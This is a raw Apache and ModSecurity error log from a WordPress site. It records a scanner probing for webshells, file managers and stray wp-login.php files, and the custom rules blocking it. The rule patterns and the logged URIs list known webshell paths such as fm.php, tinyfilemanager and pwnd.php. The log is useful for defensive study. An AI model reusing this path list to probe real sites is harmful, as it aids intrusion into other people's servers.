[Sat Dec 20 21:47:45.682075 2025] [:error] [pid 33844:tid 33864] [client 85.203.34.30:34585] [client 85.203.34.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/autoload_classmap.php"] [unique_id "aUapASaNtwGsyqqVmQECHQAAAxI"]
[Sat Dec 20 21:47:47.207609 2025] [proxy_fcgi:error] [pid 33749:tid 33757] [client 85.203.34.21:23721] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:50.116618 2025] [proxy_fcgi:error] [pid 33749:tid 33753] [client 85.203.34.21:23721] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:50.476680 2025] [proxy_fcgi:error] [pid 33749:tid 33773] [client 85.203.34.21:23721] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:50.824948 2025] [proxy_fcgi:error] [pid 33749:tid 33752] [client 85.203.34.21:23721] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:51.470150 2025] [:error] [pid 33749:tid 33761] [client 85.203.34.21:23721] [client 85.203.34.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aUapB9oInXJnb96wei9uqAAAAoo"]
[Sat Dec 20 21:47:53.368163 2025] [:error] [pid 62124:tid 62132] [client 85.203.34.5:47249] [client 85.203.34.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/bak.php"] [unique_id "aUapCVs94zPA9ULQOjmKQQAAAAY"]
[Sat Dec 20 21:47:53.977631 2025] [proxy_fcgi:error] [pid 33749:tid 33762] [client 185.92.25.138:53843] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:54.278070 2025] [:error] [pid 33749:tid 33762] [client 185.92.25.138:53843] [client 185.92.25.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aUapCtoInXJnb96wei9u_wAAAos"]
[Sat Dec 20 21:47:55.643747 2025] [proxy_fcgi:error] [pid 14286:tid 14312] [client 85.203.34.34:21545] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:56.442662 2025] [proxy_fcgi:error] [pid 14286:tid 14290] [client 85.203.34.34:21545] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:56.773376 2025] [:error] [pid 14286:tid 14297] [client 85.203.34.34:21545] [client 85.203.34.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aUapDJ7rbXIrw6rGSdaPvQAAAUc"]
[Sat Dec 20 21:47:57.434678 2025] [:error] [pid 62124:tid 62138] [client 85.203.34.12:29929] [client 85.203.34.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aUapDVs94zPA9ULQOjmKYQAAAAw"]
[Sat Dec 20 21:47:58.109113 2025] [:error] [pid 33793:tid 33819] [client 85.203.34.1:44949] [client 85.203.34.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.1, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "aUapDlSicyB0BFmbRMzd5QAAAtg"]
[Sat Dec 20 21:47:58.448129 2025] [proxy_fcgi:error] [pid 33793:tid 33795] [client 85.203.34.1:44949] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:47:59.118355 2025] [:error] [pid 33793:tid 33816] [client 85.203.34.1:44949] [client 85.203.34.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/themes.php"] [unique_id "aUapD1SicyB0BFmbRMzd9gAAAtU"]
[Sat Dec 20 21:47:59.812709 2025] [proxy_fcgi:error] [pid 39493:tid 39569] [client 85.203.34.48:59939] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:00.543865 2025] [proxy_fcgi:error] [pid 39493:tid 39562] [client 85.203.34.48:59939] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:02.336141 2025] [:error] [pid 39493:tid 39567] [client 85.203.34.48:59939] [client 85.203.34.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-includes_function.php"] [unique_id "aUapEmhjL2VG_FmIHqAHOQAAAJI"]
[Sat Dec 20 21:48:02.957634 2025] [proxy_fcgi:error] [pid 33749:tid 33774] [client 85.203.34.15:36013] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:04.114489 2025] [:error] [pid 33570:tid 33586] [client 85.203.34.23:49923] [client 85.203.34.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "aUapFITNveA-c6YcSrIZtgAAAco"]
[Sat Dec 20 21:48:05.060274 2025] [proxy_fcgi:error] [pid 39493:tid 39562] [client 85.203.34.33:35111] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:05.388127 2025] [:error] [pid 39493:tid 39564] [client 85.203.34.33:35111] [client 85.203.34.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aUapFWhjL2VG_FmIHqAHdgAAAI8"]
[Sat Dec 20 21:48:06.903625 2025] [proxy_fcgi:error] [pid 14286:tid 14295] [client 85.203.34.2:55707] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:07.225053 2025] [:error] [pid 14286:tid 14296] [client 85.203.34.2:55707] [client 85.203.34.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.2, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/themes/wp-login.php"] [unique_id "aUapF57rbXIrw6rGSdaQNwAAAUY"]
[Sat Dec 20 21:48:08.178627 2025] [:error] [pid 14286:tid 14310] [client 85.203.34.2:55707] [client 85.203.34.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/index.php"] [unique_id "aUapGJ7rbXIrw6rGSdaQSgAAAVQ"]
[Sat Dec 20 21:48:08.785468 2025] [:error] [pid 33687:tid 33709] [client 85.203.34.29:28529] [client 85.203.34.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aUapGDYMR4qK1N4g7vjbBgAAAlM"]
[Sat Dec 20 21:48:09.335534 2025] [:error] [pid 62124:tid 62148] [client 85.203.34.2:64899] [client 85.203.34.2] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/chosen.php"] [unique_id "aUapGVs94zPA9ULQOjmKxAAAABY"]
[Sat Dec 20 21:48:11.633630 2025] [proxy_fcgi:error] [pid 14286:tid 14302] [client 85.203.34.42:30527] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:11.977056 2025] [proxy_fcgi:error] [pid 14286:tid 14303] [client 85.203.34.42:30527] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:12.895598 2025] [proxy_fcgi:error] [pid 14286:tid 14301] [client 85.203.34.42:30527] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:13.516687 2025] [proxy_fcgi:error] [pid 14286:tid 14305] [client 85.203.34.42:30527] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:13.884348 2025] [proxy_fcgi:error] [pid 14286:tid 14297] [client 85.203.34.42:30527] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:14.478401 2025] [:error] [pid 14286:tid 14312] [client 85.203.34.42:30527] [client 85.203.34.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aUapHp7rbXIrw6rGSdaQnAAAAVY"]
[Sat Dec 20 21:48:15.669404 2025] [:error] [pid 14247:tid 14250] [client 85.203.34.1:33615] [client 85.203.34.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aUapHyDv9TtKKdJQn9kf6gAAAQE"]
[Sat Dec 20 21:48:16.241100 2025] [:error] [pid 33749:tid 33765] [client 85.203.34.22:20495] [client 85.203.34.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "aUapINoInXJnb96wei9wYgAAAo4"]
[Sat Dec 20 21:48:16.858173 2025] [:error] [pid 33844:tid 33868] [client 85.203.34.10:56987] [client 85.203.34.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Content/index.php"] [unique_id "aUapICaNtwGsyqqVmQEC1QAAAxY"]
[Sat Dec 20 21:48:17.433773 2025] [:error] [pid 62124:tid 62133] [client 85.203.34.21:49689] [client 85.203.34.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aUapIVs94zPA9ULQOjmLQgAAAAc"]
[Sat Dec 20 21:48:18.394790 2025] [autoindex:error] [pid 33844:tid 33859] [client 85.203.34.10:31481] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/pki-validation/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Dec 20 21:48:19.354996 2025] [proxy_fcgi:error] [pid 33844:tid 33857] [client 85.203.34.10:31481] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:19.701845 2025] [:error] [pid 33844:tid 33846] [client 85.203.34.10:31481] [client 85.203.34.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aUapIyaNtwGsyqqVmQEDAwAAAwA"]
[Sat Dec 20 21:48:20.326951 2025] [proxy_fcgi:error] [pid 33749:tid 33765] [client 85.203.34.9:53399] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:20.643825 2025] [proxy_fcgi:error] [pid 33749:tid 33771] [client 85.203.34.9:53399] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:20.972612 2025] [proxy_fcgi:error] [pid 33749:tid 33760] [client 85.203.34.9:53399] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:21.282359 2025] [:error] [pid 33749:tid 33760] [client 85.203.34.9:53399] [client 85.203.34.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aUapJdoInXJnb96wei9wyAAAAok"]
[Sat Dec 20 21:48:21.910251 2025] [proxy_fcgi:error] [pid 14247:tid 14264] [client 85.203.34.24:47771] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:22.201671 2025] [proxy_fcgi:error] [pid 14247:tid 14266] [client 85.203.34.24:47771] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:22.516091 2025] [:error] [pid 14247:tid 14258] [client 85.203.34.24:47771] [client 85.203.34.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aUapJiDv9TtKKdJQn9kgPAAAAQk"]
[Sat Dec 20 21:48:23.118621 2025] [proxy_fcgi:error] [pid 33570:tid 33591] [client 85.203.34.6:64805] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:23.424718 2025] [:error] [pid 33570:tid 33599] [client 85.203.34.6:64805] [client 85.203.34.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "aUapJ4TNveA-c6YcSrIagwAAAdc"]
[Sat Dec 20 21:48:25.212845 2025] [:error] [pid 33793:tid 33811] [client 85.203.34.43:36529] [client 85.203.34.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aUapKVSicyB0BFmbRMzfHwAAAtA"]
[Sat Dec 20 21:48:25.881979 2025] [:error] [pid 33687:tid 33703] [client 85.203.34.40:33533] [client 85.203.34.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/providers/zmFM.php"] [unique_id "aUapKTYMR4qK1N4g7vjbkgAAAk0"]
[Sat Dec 20 21:48:26.456938 2025] [:error] [pid 33749:tid 33775] [client 85.203.34.16:43341] [client 85.203.34.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/linkpreview/index.php"] [unique_id "aUapKtoInXJnb96wei9xOQAAApg"]
[Sat Dec 20 21:48:27.379076 2025] [:error] [pid 39577:tid 39589] [client 85.203.34.41:23767] [client 85.203.34.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aUapK7viRnt1rJiSOfx0fwAAAMo"]
[Sat Dec 20 21:48:28.007720 2025] [proxy_fcgi:error] [pid 62124:tid 62137] [client 85.203.34.24:26633] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:28.650664 2025] [proxy_fcgi:error] [pid 62124:tid 62145] [client 85.203.34.24:26633] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:28.946129 2025] [:error] [pid 62124:tid 62146] [client 85.203.34.24:26633] [client 85.203.34.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.24, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/cgi-bin/wp-login.php"] [unique_id "aUapLFs94zPA9ULQOjmLowAAABQ"]
[Sat Dec 20 21:48:28.953931 2025] [proxy_fcgi:error] [pid 62124:tid 62146] [client 85.203.34.24:26633] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:29.559957 2025] [:error] [pid 62124:tid 62134] [client 85.203.34.24:26633] [client 85.203.34.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/wp-login.php"] [unique_id "aUapLVs94zPA9ULQOjmLrAAAAAg"]
[Sat Dec 20 21:48:30.178560 2025] [:error] [pid 14247:tid 14255] [client 85.203.34.23:47313] [client 85.203.34.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aUapLiDv9TtKKdJQn9kglQAAAQY"]
[Sat Dec 20 21:48:30.748622 2025] [proxy_fcgi:error] [pid 39493:tid 39554] [client 85.203.34.12:42679] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:31.131616 2025] [proxy_fcgi:error] [pid 39493:tid 39558] [client 85.203.34.12:42679] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:32.537630 2025] [proxy_fcgi:error] [pid 39493:tid 39564] [client 85.203.34.12:42679] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:33.421339 2025] [:error] [pid 39493:tid 39553] [client 85.203.34.12:42679] [client 85.203.34.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.203.34.12, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/wp-login.php"] [unique_id "aUapMWhjL2VG_FmIHqAI4gAAAIQ"]
[Sat Dec 20 21:48:33.723922 2025] [:error] [pid 39493:tid 39551] [client 85.203.34.12:42679] [client 85.203.34.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aUapMWhjL2VG_FmIHqAI5QAAAII"]
[Sat Dec 20 21:48:35.370458 2025] [:error] [pid 33687:tid 33705] [client 85.203.34.29:27689] [client 85.203.34.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "aUapMzYMR4qK1N4g7vjb4QAAAk8"]
[Sat Dec 20 21:48:35.989490 2025] [:error] [pid 62124:tid 62146] [client 185.92.25.138:22331] [client 185.92.25.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/index.php"] [unique_id "aUapM1s94zPA9ULQOjmL5QAAABQ"]
[Sat Dec 20 21:48:47.413433 2025] [:error] [pid 33749:tid 33770] [client 85.203.34.29:61781] [client 85.203.34.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-help/admin/wp-fclass.php"] [unique_id "aUapP9oInXJnb96wei9zRAAAApM"]
[Sat Dec 20 21:48:49.913631 2025] [proxy_fcgi:error] [pid 39577:tid 39579] [client 85.203.34.22:48361] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:50.214344 2025] [:error] [pid 39577:tid 39600] [client 85.203.34.22:48361] [client 85.203.34.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/php-compat/autoload_classmap.php"] [unique_id "aUapQrviRnt1rJiSOfx1ngAAANU"]
[Sat Dec 20 21:48:51.954655 2025] [proxy_fcgi:error] [pid 33687:tid 33706] [client 85.203.34.46:24577] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:52.264021 2025] [proxy_fcgi:error] [pid 33687:tid 33701] [client 85.203.34.46:24577] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:54.000612 2025] [proxy_fcgi:error] [pid 33687:tid 33704] [client 85.203.34.46:24577] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:54.919622 2025] [proxy_fcgi:error] [pid 33687:tid 33690] [client 85.203.34.46:24577] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:55.203930 2025] [:error] [pid 33687:tid 33706] [client 85.203.34.46:24577] [client 85.203.34.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aUapRzYMR4qK1N4g7vjdHwAAAlA"]
[Sat Dec 20 21:48:56.110294 2025] [proxy_fcgi:error] [pid 14247:tid 14268] [client 85.203.34.29:56741] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:56.719239 2025] [:error] [pid 14247:tid 14253] [client 85.203.34.29:56741] [client 85.203.34.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aUapSCDv9TtKKdJQn9khrgAAAQQ"]
[Sat Dec 20 21:48:57.605622 2025] [proxy_fcgi:error] [pid 39577:tid 39602] [client 85.203.34.14:52129] AH01071: Got error 'Primary script unknown'
[Sat Dec 20 21:48:58.528973 2025] [:error] [pid 39577:tid 39584] [client 85.203.34.14:52129] [client 85.203.34.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aUapSrviRnt1rJiSOfx2CAAAAMU"]
[Sat Dec 20 21:48:59.401755 2025] [:error] [pid 33749:tid 33774] [client 85.203.34.1:23205] [client 85.203.34.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aUapS9oInXJnb96wei90yQAAApc"]
